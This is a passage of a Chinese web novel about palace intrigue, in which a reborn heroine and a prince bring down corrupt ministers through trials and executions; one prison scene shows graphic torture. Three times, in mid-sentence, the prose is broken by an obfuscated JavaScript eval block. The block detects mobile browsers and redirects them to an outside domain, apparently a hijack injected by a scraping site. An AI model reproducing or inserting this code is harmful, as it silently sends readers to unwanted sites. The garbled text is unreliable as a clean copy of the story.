她记得前世，刑部尚书张兆藏银一事，就是他亲自追查、拿到实证。只不过那是两年后，魏恪早已是一具枯骨。 而这一世，她要让一切提前发生。 张兆是崔晋安插在刑部的一把刀，锋利狠辣，前世魏恪被诬陷，张兆出了不小的力。 她闭了闭眼，唇角却挑起一点淡笑。 褚元唐那边已经动手，杜绍成一死搅得朝中更动荡不安，她这边再断崔晋一臂，看他还能不能撑得住。 国公大人一向自诩筹算周密，不知如今还能否安枕？ 23. 局中试锋 雨过初晴，南院的花开得极好，清晨垂下露珠，花叶晶莹。 屋内焚了沉香，崔莞言随意理着妆，青禾站在一旁，犹犹豫豫地笑了一声：“姑娘，我昨日怎么觉得……沈大人对您颇不同寻常？” “哪里不同寻常了？” 青禾悄悄靠近些，道：“沈大人侯府出身，如今在京兆府做少尹，年纪轻轻就有这番本事，最要紧的是他待人和气……就说您吧，昨日在沈府时，他看您的眼神那叫一个温和，连说话都带着笑。” 她越说越顺：“而且，他亲自送您回府，别人不知，还以为是咱们自家姑爷。” “姑爷？”崔莞言终于放下铜笔，唇角噙了笑，“你倒想得远。” “我也是觉得他人好……既有家底，也有本事，待人实心实意，若姑娘真与他结亲，那才叫般配。” 崔莞言不置可否，“……与他聊起来确实比旁人容易些。不过……往后的事，谁又说得准呢。” 话音刚落，她抬眸见柳枝不知何时立在门边，手里捧着一叠衣物。 “姑娘，这是绣房今早送来的新衫，您要不要试试？” 青禾饶有兴致地揭开看，从中挑出一件浅粉色的小氅，“小姐您穿这颜色一定好看，昨儿沈大人也说清雅的颜色称您呢。” 崔莞言有些不好意思地低头笑，面上浮起红晕，“那我便试试吧，下次再去沈府拜访可依穿这身。” “你先去吧。”她对柳枝说。 待她走远，青禾偷偷笑道：“奴婢方才说得是不是太直了？” “直一点也好，太隐晦她反倒听不懂。” “只是小姐让她听这些做什么？”青禾问。 崔莞言并未立刻作答，只对着铜镜照了照，面色恢复如常，这才慢条斯理地笑了。 “有人想听我说话，那我便多说些。不知这回，他听得可还顺心？” 院外的柳枝听完那主仆二人的话，心里直犯嘀咕。二小姐这才回府几日，就找了如意郎君？这可如何是好！ 王爷虽从未开口说过什么，可自春宴之后，他对二小姐的在意，全落在他们这些暗卫眼中，禀报上去还不知要惹他生多大的气。 尽管心里七上八下，柳枝还是将那主仆二人的言语一字一句复述了出来，连崔莞言那低头掩笑、假意娇羞的神情也未放过。 说完却不敢抬头，只觉殿中寂静得可怕。 褚元唐坐在灯下，半晌都未出声，神情不动唯有拇指一圈圈摩挲着掌中瓷杯，良久才淡淡吐出一句：“知道了。” 这般平静反倒叫柳枝一时不敢接话，斟酌片刻才低声道：“二小姐前几日还说要杀一个丫鬟……” “替她杀了便是，她总有她的道理。那对父女可安顿好了？” “王爷放心，都安排妥当了。” “下去吧。” 柳枝应声退下，脚步刚落在门槛外，便听得身后一声脆响。 回头看时，见褚元唐握着的瓷杯已碎裂，茶水沿着案角淌下，而他掌心一片血红，鲜血从指缝滴落，染红了案上的信纸。 可他却像没察觉似的，仍低头看着掌中残瓷，唇角一点点勾起。 “一边是魏恪，一边是沈霆之，眼光可比从前强些。” 这时，外头有人疾步而来，禀道：“王爷，杜延庆已关进刑部地牢。圣上方才传旨，命您共同陪审。” 他将碎瓷放下，抬眼眸色幽沉。“备马。” 此时的刑部大牢，早已人影寥落，唯有最深处的牢门，被人悄然推开。 “时间紧，只能留你半刻钟。” 火把下，来人披着斗篷，身影隐在阴影中。 杜延庆蜷坐在墙角，神情木然眼中一片浑浊，直到那人站定，唤了他一声“延庆”。 他抬头呆愣片刻，旋即疯了一般扑上去，撞在铁栏上，面目狰狞，几近吼叫道：“崔晋！你不是说一切都安排好了？不是说保绍成在通州安然无恙？那他是怎么死的？！” “你把我儿子还给我！” 崔晋却在他身前稳稳立住，任他揪着自己，语气却前所未有的温和：“延庆，我知道你心里难过……绍成的事，我比谁都痛。” 杜延庆眼眶通红，咬牙不语。 崔晋又道：“你我相交数十年，若不是把你当自己人，我怎会将朝中的暗线都告诉你？绍成出事，我心里也乱，只恨自己失算。” “可如今你还活着，杜家也还在，我不能眼睁睁看着你就这么被人牵着鼻子走。若你肯信我，我一定替绍成讨个公道，也保杜家香火不断。” 杜延庆抬头，眼神有些动摇：“你……你说得轻巧，他尸骨未寒，外头却传得沸反盈天，说他强抢民女，说他死有余辜，我怎么咽得下这口气？” “我当然知道。”崔晋点头，语气带着几分心痛，“可是延庆，你也明白的，有人在暗算我们！眼下最要紧的，是你先活着。” “我已经安排人手在查，你信我，只要你守住口风，我就能保你无事。绍成风流如今看倒也不是坏事，我已查明，他在通州那相好的舞姬已有身孕……” 杜延庆眼中泛起血丝，原本颤抖的指尖渐渐握紧，像是被这句话攥住了喘息。 “你……你说的都是真的？” “当然。”崔晋的眼神极为真诚，“你若不信我大可带她来见你，再迟疑下去，万一有人先一步动手，连她一并除掉，可就什么都没了。” 杜延庆沉默许久，眼神一点点黯下去。 他当然知道崔晋的承诺里有几分真、几分假。他更明白，今日牢中这番好言安抚，背后不过是一场权衡取舍，除非反水，否则他无法逃脱此局。 可若崔晋说的是真的呢，杜家香火不能断在这！ 他闭了闭眼，压下心中翻涌的恨意：“你说得对，替我看住那舞姬，我自守口如瓶。” 斗篷下的人没有应声，只在火光中垂首一笑，仿佛早已料定他会这般回答。 门锁再次响起，咔哒一声，断了牢内最后一缕热意。 - 褚元唐踏入勤政殿时，殿中已立了三人。 魏恪最先抬头与他对视，礼部尚书谢廷章和刑部尚书张兆立于一侧，皆面色阴鸷。 他心中了然，崔晋身边最忠心的两条狗又要出来乱咬了。 皇帝示意他靠近些，而后开口：“朕命周王听审，你们有什么话，也当着他的面说一说。” 谢廷章清了清喉咙，率先一步出列。 “陛下，钦天监昨夜观星，星曜错位夜空血色。监正卜得一签，言曰‘内有潜谋，外生乱象’，童谣之祸，恐非偶然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091232|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “再则，童谣起于市井传得极快，臣斗胆猜测，其中或有有心人挑唆，蓄意扰乱人心，望陛下明察。” “哦？”皇帝眯眼，缓缓靠坐回龙椅，“谢爱卿之意，是这童谣背后，另有图谋？” 谢廷章俯身，拱手一揖：“正是。” 褚元唐闻言不动声色，到这时候，崔晋还不肯放过此局，妄想借这二人继续攀咬。 果然，接下来张兆也出列附和道：“臣以为谢大人之言极是，民间之乱虽起于通州之案，然若无人推波助澜，怎会传得这般迅速？况且童谣一出，杜家接连遭难，若是有人从中做梗也未可知。臣以为，魏大人还是避避嫌的好。” 他说话时不着痕迹地扫了魏恪一眼，魏恪却像未察觉般，仍神情平静站着。 皇帝看了看殿中众人，忽而转头望向褚元唐：“周王，你怎么看？” “谢大人与张大人的担忧不无道理，此事牵涉广泛，若真有人蓄意作乱，确应从速查明，以正民心。“不过，魏大人与通州之事有早前接触，今案子已转入刑部，避嫌也是应当。”褚元唐道。 皇帝看着他：“你是说，魏卿不再参与接下来的审讯？” “若陛下准许，可转由京兆府协审，如此既可避嫌，又可不耽误查案。” 褚元唐想，魏恪已被太多人盯上，崔晋亦视他为眼中钉，他一根筋，只要生疑便会一查到底，还不知要触到多少人的霉处，身后家族庇护必遭毒手，不如把案子推给京兆府，沈霆之亦是个执法不阿的，正直有余，却不如魏恪锋芒毕露。再则，他身后是忠义侯府，世代勋贵，朝中之人谁敢轻动？ 谢廷章眯了眯眼，却不好多言。 魏恪不在，又牵进京兆府，那沈霆之仗着侯府撑腰更不好对付。 魏恪始终沉默，只对褚元唐投去一眼，似在揣摩他这番话的真正用意。 皇帝点了点头，“也好。此案务必审得明明白白。你们先退下罢。” 几人闻言躬身告退。 殿门合拢之时，御前只剩褚元唐一人。 “你可知，朕为何要让你一同听审？” 褚元唐略一拱手，道：“臣愚钝，还请陛下明示。” “这案子牵扯广，御史台、通州一脉、甚至朝中……朕要你在场，就是要你学会看人、识人、用人。”皇帝苦口道。 他这个弟弟，终究还是太锋芒毕露。性情直烈，有骨气有胆识，却不知收敛藏锋太欠圆融。 而今局势复杂，他那舅舅是越发不安分了，若让褚元唐这般一意孤行，总有一日要落入人心陷阱。 此番叫他旁听听审，是试他也是护他。叫他看得清局势，看得清人性，若是能趁此事收敛性子，便也不枉他费这一番心思。 “陛下之意，臣铭记于心。”褚元唐应声退出了勤政殿。 殿门在身后合拢的时，他才抬眸。 他太清楚，皇帝这般安排，看似信任、实则不过是借他之手与崔晋相斗。 而他前世全然不察，竟将那端坐龙椅之人，错认成与崔晋同谋、联手逼他的主使，只觉得自己走投无路，才会在满朝劝谏中孤注一掷、悍然起兵，最终背上谋逆之名，死无葬身之地。 如今想来，他是弃子，崔晋亦是。 鹬蚌相争渔人获利。 24. 当庭翻供 午后，公堂外外围了数上百人。崔莞言戴着面纱立在人群中静望堂内。 堂上尚未开审，观者却越聚越多。 “陛下不会来？”人群前头传来议论。 “皇上早吩咐了，刑部主审，大理寺和京兆府协审。” “还有周王殿下在呢，前些日子处置了建州那狗官，想必更不会放过这位。” “嘘，小声点，人来了。 人群忽地静了。 褚元唐自后堂入内，落座前目光朝人群扫去一眼。 崔莞言垂在帷帽下的手一紧，总觉得那一眼，是落在她身上的。 张兆早已落座，一旁空位还未满。片刻后，沈霆之自侧门而入。 他换了朝服，眉目间少了些平日的亲和，添了几分讳莫如深的威肃。 崔莞言偏头，便见褚元唐抬眼看向他，面上无甚表情，目光冷淡神色不善。 钟鼓三响，堂上肃然。 张兆正襟危坐，手中惊木一拍：“将犯人带上来！” 两名官差押着杜延庆进来。 昔日高坐庙堂的通州州牧，如今一身囚衣、面色憔悴脚步虚浮，众目睽睽之下狼狈不堪。 张兆坐在堂上，却第一次感到不解。哪怕早知这是一局博弈，他也不懂崔晋为何执意攀咬魏恪。 童谣之事未见实证，魏恪又未出头审案，此时硬要继续，无异于自乱阵脚。堂下百姓虎视眈眈，官场风向未明，陛下又一直按兵不动……如此情势下，崔晋还要赌？ 可一条绳上的蚂蚱，张兆也只能顺命而为，他展开案卷，高声道：“通州州牧杜延庆，贪赃枉法任上失察，纵容其子杜绍成为非作歹，强抢良家女子，逼死民妇之夫，致百姓含冤，你可知罪？” 杜延庆一双眼炸开了血色的红光，猛地扑前一步拼命挣扎怒吼：“我不认！不认！这世道疯了吗？！” “我杜延庆为官十年，敢拍着天理良心说一句，从未贪过一文，徇过一事！是有人……是有人要杀我，要灭我杜家！” “你们说我贪？说我徇私？好！把账本拿来，把审过的案子翻出来，我一桩桩说，一条条对！我有错，我自当认！可若无半句假言，你们一个个都是陷害忠良的刽子手！” 惊堂木啪地落下，张兆沉声喝道：“放肆！来人按住他” 两名官差闻声而上将杜延庆按倒在地，可他便是不肯就范，哪怕脸在地上磨出血痕嘴上也念念有词大喊冤枉。 张兆眉头紧蹙，心下冷哂一声：果然，还是按着崔晋的吩咐来……一字未差。 这时一旁端坐的褚元唐突然笑了，饶有兴致地支着脑袋看杜延庆像蛆虫似的在地上蜷缩。 没想到啊，儿子都死了，还肯帮崔晋。 他抬了抬手，示意官差放松些力气好让杜延庆能得喘息，而后直勾勾盯着，“你既说自己冤枉，那你说说冤在何处？账册上可一笔一笔写得清清楚楚。” 杜延庆伏在地上喘了几口粗气，抬头道：“账册！可曾细查账册？那些银子，是谁经手、流向何处，一笔一划都记得明白！只要细查，自能知真假！” “我虽有过失，却未曾贪墨一文！更未教子为非作歹！” 说到这，他竟声嘶力竭：“绍成之死，冤也！什么纸醉金迷全是栽赃！” 见褚元唐不语，张兆立刻接过话头，，“账册上白纸黑字，岂是你三言两语便能推脱？” “正因账目清晰，才该细查。所有银钱往来，皆由主簿刘荣经手。我年事已高，不可能事无巨细俱亲力亲为，若有贪墨之事，刘荣应知最详。” 张兆似对这话并不买账，又怒斥道：“若说不知情，为何账册上每月批注皆是你的亲印？刘荣一介小吏能有这胆子？” “你们大可去抓刘荣来与我对峙，若我真贪过一两，死亦无怨。” 说到这儿，杜延庆神情突然一变，转向堂下百姓：“这案子才起，京中便有童谣传遍街巷，还偏偏咬着我儿杜绍成。敢问诸位，是天意，还是人谋？” “有些人，口口声声查案为民，却借民心鼓噪，煽动风言风语、搅浑朝局。他才是真正该审的贼人！” 说罢，他猛地朝前跪下，重重叩首三声，额上鲜血涔涔：“我被奸人冤枉，儿子更是死得不明不白！恳请还我杜家一个清白！” 他声嘶力竭，几乎用尽最后一口气，堂下百姓有人动容，也有人低声疑问：谁是奸人？难道朝中还有人作乱不成？ 这时在一旁静听许久的沈霆之动了动眉头。 那对被杜绍成逼至走投无路的父女他见过，眼下听杜延庆在堂上狡辩翻案，又将矛头引向魏恪，他只觉一阵反胃。 更可疑的是张兆，与杜延庆一搭一唱，分明早有默契。 他对张兆早有怀疑，只是苦于无证。直到近日接连收到三封密信，才知张兆不止徇私枉法，还暗藏赃银、替人销账。信中详列了藏银地点，无论如何他都得设法亲自查上一查。 眼下看来，杜延庆的喊冤是假，转嫁祸水才是真。而那刘荣……怕就是早就备好的替死鬼。 他落在杜延庆身上的视线未移开，又听张兆问道：“殿下，既然杜延庆所言直指账目与主簿刘荣，微臣以为，不妨先传人缉拿刘荣，封存案牍账册细加查验，再定审期审讯，如此或更公允。” “拖得了一时，可拖不了一世。张大人，账册的事就交给你来查，仔细些。”褚元唐说罢，便起身欲走，眼神掠过人群却早不见那身影。 人群尾处，崔莞言收敛了所有神色，混入巷口来往行人之间。 今日庭上那一出，她从头看到尾。 杜延庆口口声声喊冤状若疯魔，却仍不惜当众攀咬魏恪，实在不像是无计可施之人。 她一边走，一边冷静思索。 崔晋给了杜延庆什么？ 死去的杜绍成救不回，自己活着也是人人喊打，可偏偏他还愿意替崔晋顶雷，他图什么？ 是保命的承诺？还是另有交易？ 以崔晋的性子，绝不会做无用之功。既如此，他留下杜延庆是在等什么？ - 夜色已深，天穹压低，乌云将月遮了大半。 城南巷口一间旧茶楼密阁内，只余两人对坐。 “账册查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100927|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了？” 魏恪低声应：“查到一处，数目对不上。往前顺着细查，怕是有人动了手脚。但——” “是我太急了。原以为找到这账册便能一举揭开通州罪恶。这些天发生了这么多事，明明局势已转，哪知杜延庆还敢当堂喊冤，借势引风向。” 此刻被人抓住失察之过，他在御史台便再无立锥之地，若那群人再推上一把……他只怕连退身之地都没有了。 崔莞言听罢劝他：“你着急也是情理之中，他们设下此局不就是为了逼你？” “魏大人，你若先乱了阵脚，才正中下怀。” 魏恪苦笑一声，眉心始终未展：“如今只盼刘荣尽快缉回，该问的问清楚才能翻盘。” 崔莞言摇头：“不必盼。他一定会被抓回来，且会很快。” 这等配合得太顺的证人，十有八九是准备好的。前世刘荣就是个替杜延庆挡罪的，只是这回计划有变，杜延庆早晚会被崔晋抛弃，何须撇清？这刘荣唱什么角儿就不好说了。 “你被太多人盯着，现在只需按兵不动，放心吧，还有沈霆之在。” 魏恪闻言稍稍安心了些，他与沈霆之虽接触不多，却也知其正直、圆滑，况且作为侯府世子，沈霆之身边的助力比他多。 崔莞言未再多说，魏恪是局中人，总有分不清庐山真面目的时候，知他满腔孤勇，可正直过头，最易在乱局中第一个倒下。 “夜深了，我也该回了。” - 数日后。 月黑风高，京郊一座庄子静得瘆人。 外院荒草丛生围墙半塌，唯有门口悬着一盏灯，昏黄灯光照着一位佝偻老仆斜倚门侧打盹，偶有两三帮工提灯巡夜，懒懒散散毫无防范。 沈霆之远远看了一眼，那庄子名义上早年归一商户所有，如今荒废多年，按密信所说应是张兆藏银之地。 他从袖中取出密信对照方位，目光落在院后第三间房屋，信中说金银珠宝就藏在那里。 身后随行之人悄然退至院后不远的干草堆旁，火折一划，星点火光窜起顷刻冒出浓烟。 “着火了！”老仆高呼一声，院中几人顿时乱作一团，提桶奔向火光方向。 沈霆之趁乱掠身而出，翻过侧墙直入后院。 推开房门，一股霉气扑面而来，满屋柴火堆得杂乱。 他走到东南角，蹲身抬开一层木板果然，底下赫然裸露出一道暗井口，拔出短匕，迅速挑断锁链揭开铁盖，火折亮起，一道窄梯通入井底，他俯身而下，几步之后地底豁然开阔。 地窖角落堆满尘封箱笼，一一打开，里头不见杂物，唯见银锭成排，珠翠曜石堆砌。 密信果然不假，如此破败之地竟藏银数万！ 他迅速从地窖中脱出，从怀中取出一支短哨，抬手吹响。 一声轻鸣，划破寂夜。 约莫半盏茶的功夫，安排在林中的人马，收到信号便即刻合围，将整个庄子封得水泄不通，庄内几个仆役皆被扣下。 “将人押住，银锭封存，一并带回。” 火光熄灭，庄子恢复寂静。 25. 釜底抽薪 勤政殿夜灯未熄。 沈霆之伏跪在地，“臣有罪，今夜未得旨意，擅自带人查探京郊一处庄子，惶请陛下责罚。” 高座上的帝王神色未动：“起来吧，说说都查到些什么。” “微臣今日曾得一封密信，信上说刑部尚书张兆上下勾连贪墨无数，并附张兆藏银之所，臣孔打草惊蛇未敢声张，只暗中带入去探，果真在地窖中发现金银财宝无数。” 皇帝听后将面前奏折一下推翻在地。 “好啊，竟敢贪到朕眼皮子底下，庄子里的人都带回来了吗？” “回陛下，都在京兆府牢房关着。” “今晚便审！那刘荣既已擒回，明日便让他与杜延庆当庭对质。张兆之事，也一并揭出来，朕要他们一个不落，统统拿下！” 皇帝缓了怒意，又道：“你心性太直，只怕下不了狠手，今夜这堂，就让周王陪你审。” 沈霆之一怔，忙俯身应命。 圣旨传得极快，他回到京兆府时，已见褚元唐在大牢内立着，手拿一支烧红的烙铁，笑意瘆人。 京兆府的牢房不大，却比刑部更森冷许多，只余狱堂内两盏壁火亮着，不时有阴风吹过，叫人不寒而栗。 沈霆之这时觉得，那位周王周身的寒意，要比这大牢更凛。 未及行礼，褚元唐像等不及似的，吩咐将人带出来。 从庄子带回的仆役共五人，老仆昏死在地，剩下几人皆跪作一团，缩在墙角不住哀嚎。 “把他绑上去。”他随手指了其中一个三角眼的。 那三角眼名叫王六，已吓得魂飞魄散，被狱卒拖着拉到刑架下，“王爷！小人什么都不知道，求您饶命啊！”他哭喊道。 褚元唐漫不经心地蹲下，拿着那支烧红的烙铁缓缓旋转，倒影里，烙铁如同毒蛇游走般移到王六身前。 “说吧，那庄子是谁的？” “我只是个看门的，没……没见过主子。” “是吗？”褚元唐狞笑着，忽地将烙铁狠狠压在王六肩上。 “啊——！”惨叫回荡在牢房里，王六浑身抽搐，活像头被架起来炙烤的猪，滚烫的铁片瞬间印穿透了皮肤，留下深红的印记。 褚元唐眉梢微挑像是失了兴致，站起身将烙铁丢回炭炉里，走向沈霆之，：“沈大人，这人嘴太硬，我怕烫坏了，反倒审不出东西……你说，该怎么办？” 沈霆之正欲开口，却遭打断。 “咱们换个法子。”褚元唐转头喝道：“把他指头剁下来一根，先从左手起。” 狱卒面露犹疑，沈霆之终究皱眉开口：“王爷，不如让下官来审，王爷可坐下歇息一会儿。” “沈大人，我这人最讨厌欺骗，既然他不说实话，这十根指头也不必留着。” 语罢，他走过去，从狱卒腰间拔出刀来，冷不防按住王六的手，一刀下去干脆利落。 “啊啊啊——！！”王六痛得面目扭曲，指节处血如泉涌。 褚元唐随手甩了甩刀上血珠，脸上笑意渐深：“你不是嘴硬吗？我很好奇，人到底要被剁到第几根，才肯开口？” 王六人还没嚎叫几声，头一歪昏死过去。 褚元唐眼都没眨一下，又抬手漫不经心地朝墙角指去。 “换一个。就那个，一直哭的，声音最刺耳。” 狱卒看向那群跪成一团的仆役，果然有个鼻涕眼泪横流的小个子正止不住地发抖。 “你，过来。”狱卒走过去一脚踢他，“王爷叫你呢。” 那人几乎是被拖着拽到刑架前，吓得连站都站不稳，一把鼻涕一把泪，哀嚎道：“王爷饶命！小人什么都没看见，小人真的什么都不知道啊，我是外院扫地的，平时只听老管事吩咐……” 褚元唐踱步上前，站定在他面前，“你叫什么？” “小、小人叫钱旺……” “好名字。”褚元唐抬起他一只手，“这手啊，干惯了粗活，一看就是个老实人。” “是、是，王爷说得对，小人最老实，从不多话……” “嗯，那你告诉我，你们都是替何人做事？” 钱旺语无伦次，“小人来庄子才两个月，什么都……都不知道。” “这样啊。”褚元唐点头像是理解了，“那可不能怪我了。” 他按住钱旺手臂，反手从案边取过一柄短锥挥过头顶，正要落下，却被沈霆之截在半空。 “王爷，何必大动干戈。” 钱旺眼白一翻，竟是活活被吓晕了过去。 褚元唐并不理会沈霆之的话，他放下锤子，拍了拍手，“拖下去吧，省得碍眼。” 又转头看向剩下的两人，那两个仆役早已吓得面色如纸，瘫坐在地上。 那瘦高个眼泪鼻涕一把抓地叫道：“王爷饶命！我、我说！庄子主人是刑部张兆大人，我常见他夜半来访，带人往里搬东西，还威胁若是说出去就要杀我全家！” 另一个肥脸仆役也连连磕头：“我也说！我也说！有一回我偷偷去地窖看，那箱子里装的全是金银！” 两人抢着开口，生怕落得和王六一样的下场。 褚元唐静静看着，眼里倒是没了玩味，认真起来。 张兆的家仆，没少跟着他为非作歹，这几人能被安排在庄子上，想必是张兆极信任的，都杀了也不为过。 “这些话，沈大人可记下了？” 沈霆之点头。 “很好。明日叫他们当庭指证张兆。” 沈霆之目送他离去，良久未语。 牢中火光映着地上的血迹，墙角两个仆役还在瑟缩抖颤，不敢出声。 他想，这周王真是疯的。 大牢铁门“吱呀”一声阖上，哭嚎与血腥气尽数隔在身后。 褚元唐行于月下步履不疾，眼底寒意却未曾消散。 沈霆之倒也动作利落，收了密信不过数日，便把人一网打尽。 只不过此时，他大约已经认定自己是个疯子。 那又如何。 朝堂之上，贪官污吏一言遮天、上下沆瀣，他若不疯，如何撕开这些人皮面冠冕，瞧一瞧里头到底藏着几条狗、几只狼？ - 京中连日风声鹤唳，这一日，刑部公堂外却比往常更加拥挤。围观的百姓自辰时便陆续聚来，将台阶围得水泄不通，连不远处的巷口都站了人。 崔莞言着一身素灰布衣，隐在人群中。 堂内公案已设，杜延庆披枷戴锁，被人押着跪在中央。 很快，刘荣也被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113660|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带了上来。 彼时沈霆之与褚元唐已在上首落座。 “刘荣，你曾为通州衙署主簿，是否知晓近年仓银账册出入不明，是否曾擅改账目？”张兆开口。 刘荣面露挣扎之色，额上冷汗直冒。 他眼珠飞转，沉默片刻，竟猛地一咬牙：“我……认罪！” 人群窃窃私语，连一旁的狱卒都愣了神。 崔莞言眼眸一凝，她原以为刘荣会争辩几句，可他竟直接认罪……这未免太早、太快。 刘荣继续说：“这几年，通州仓银调拨诸多，诸位以为，是我刘荣一人敢动朝廷的钱粮？” 他抬头，目光直直看向上首：“若非张大人授意，谁敢改账遮掩？那年冬月，我受命修改漕运账目，就是你张兆命我做的！” 张兆当场脸色骤变，“你放屁！你这小吏居心叵测，血口喷人！” “张大人稍安。”沈霆之厉声喝止。“也就是说，通州贪墨，不止你与杜延庆，还有张兆？” “正是！”刘荣咬死了不松口，面上尽是破釜沉舟的狠劲，“我不过是个替人背罪的贱命。张大人逼我篡改账目，收了多少贿银、杀了多少人，他心里清楚得很。” 张兆脸色铁青，几欲扑上前，却被狱卒死死拉住，厉声喊道：“胡说八道！我何曾见过你！”他瞪着刘荣，眼中满是骇然。 刘荣不是来替杜延庆顶罪的吗？怎么……怎么罪名落在他的头上？ “还敢狡辩？”堂下陡然一声冷喝。 沈霆之起身，目光沉沉：“张大人可还记得，贵府郊外那处庄子？” “你若不记得，也无妨。将人带上来。” 几口沉重箱子被抬入公堂，盖布子开，金银器皿堆叠成山。几名仆役亦被拖了上来，跪倒在地惊惶失措。 “是张大人，是张大人派我们看守庄子的！” “那些银子、箱子，都是张大人叫人夜里送来的！” “地窖我们从来不敢进，是老管事亲自看着，我们只在外头守着……可的确看见张大人来过几回！” “人证、物证俱在。张兆，你还有何话可说？” 张兆踉跄两步，额上冷汗直流。 他的视线从刘荣移向两名仆役，又移向堂前执笔的司录官，再落回沈霆之那冷如冰铁的眼神。 没有退路了。 有人要他死。 “来人！将张兆拿下，押入天牢！” 张兆瘫软跪地，满堂哗然。 有人低声窃语，有人脸色阴沉，更多人则面面相觑，一时之间不知此局到底是谁谋，谁赢。 人群一隅，崔莞言笑了。 姜还是老的辣，她早该想到，崔晋那样的人，最会弃车保帅，最舍得割席斩情。张兆早就被沈霆之盯上，他正好借机除掉免留后患。 她以为是自己将线索送至沈霆之手，却没料到帮了崔晋一个大忙。 张兆、杜延庆、刘荣……明明该除掉的都已除掉，魏恪安然无恙，崔晋却也元气大伤。 目的达成她该满意的，可她不甘。 堂上的褚元唐也已看清了，笑得比崔莞言更放肆，旁人看了还以为他是见张兆落马喜出望外，只有他自己知道，他多恨自己最后绕回了崔晋的算盘里。 26. 尘埃落定 天牢阴湿如旧，腥气弥漫。 崔晋踏入时，狱卒早已退得远远，只留他一人立在牢门前。 牢中张兆听见脚步声，猛地抬头，脸上瞬间浮起狰狞的怒意。 “崔晋你敢害我！你就不怕我把你一并供出来？” 崔晋却笑了，语气轻描淡写：“你若真有胆子，早在大堂之上张口了，何必等到如今。” 张兆怒火更甚浑身发抖，眼中满是血丝：“崔晋！你这个畜生，是你让我做的，是你一句话，我才敢动那批仓银！如今你干净了，我却成了替你背锅的？” 崔晋依旧笑着，走近几步，从袖中取出一张叠好的纸，慢慢地展开。 “收下那万两白银时，你就没想到会有今天吗？”他将那纸递过铁栏。 张兆迟疑地接过那张纸，低头一看，瞬间认出笔迹。“你……你对我儿做了什么？” 崔晋摇头：“什么都没做。只要你安分闭嘴，他们不过流放交州罢了，水土差些，但命还在。可你若敢开口多说一个字，我会让你亲眼看着他们一个一个死，再一个一个埋。” 张兆整个人瘫在地上，嘴唇动了动，最终却什么都说不出来。 崔晋俯身拍了拍张兆的肩。“好好待着别吭声。” 他说罢又一路穿过甬道，走到最里头的独牢前。 牢中人影一动未动，静坐在墙角，眸中无悲无喜。 “那舞姬你已见过，接下来该怎么做你心里应该清楚。” “我这一身罪名，留不得什么，但她若能安稳产子，活着离京，我便……不言一句。” 崔晋负手向前两步，替杜延庆理了理衣襟。 “你比张兆识趣，我会你那一脉骨血，让她母子一道去岭南，虽远点总归能活。” 杜延庆垂眼不语。 崔晋沉默片刻等一句“谢恩”，但对方始终没有开口。 他也不恼，只淡淡一笑，转身离去。 - 圣旨下得极快，三人同判斩首，即日行刑。 是日午门外刑台设三口大案，重兵围守。 张兆、杜延庆、刘荣一并押上，枷锁齐身肢缚死。 申时三刻，刀令下。 鼓声响后三刀齐落，血溅丈余。 围观者数百皆骂声不断。 消息传入崔莞言耳中时，她正坐在院中的躺椅上，同青禾闲聊。 “小姐，那三人……刚已在午门处斩首了。” 崔莞言将书卷轻轻阖上。 崔晋这一刀，斩得比她想象中还要快。 虽是丢了通州一脉和刑部内线，他近日却不怒反喜，像甩掉了大麻烦似的。 国公府家眷素日一向不同桌用膳，今儿崔晋心情大好，竟命人布了好酒好菜，一同宴饮。 崔老太太礼佛归来，听闻崔莞言在李氏面前受了委屈，又想起福星之说勃然大怒，一连几日送去佛堂的都是馊饭。 崔时婚期在即，想到要娶谢清菱那倒胃口的，便成日提不起气，庄氏自身难保，找不到茶铺那二人关押之所愈发焦躁，顾不上安慰他。 一家人心思各异，不见笑脸，也就孙氏之几日又得了宠，满面春风。 用膳后回到南院，崔莞言一眼便见桃枝端了点心过来。 桃枝今日依旧殷勤，手中捧着的是她平日最爱吃的桂糕点，刚放上桌，便细声细气道：“小姐，这还是奴婢特意叫人早些做的。” 崔莞言轻声应了，点心香气虽浓，她却一口未动。 站在一旁的柳枝将主子的眼神看得清清楚楚。 这些日子国公府人多眼杂，她不好下手，看来得快些了。 她心下一凛，等桃枝退下后才悄悄跟了出去。 夜晚月黑风冷，府内的月池幽静无人。 柳枝走进桃枝房中时，桃枝正对着铜镜细细打理鬓发，见她来了皱眉道：“怎么夜里还不歇？有事？” “月池边小姐送去榆枝落了下来，像是压到了老夫人的金桂盆栽，小姐叫我去看。我一人不好搬，便想着唤你一道。” 桃枝怔了怔，“这会子？” “正因为是这会子，才没人瞧见。不然明儿让老夫人知道了，定要生气。” 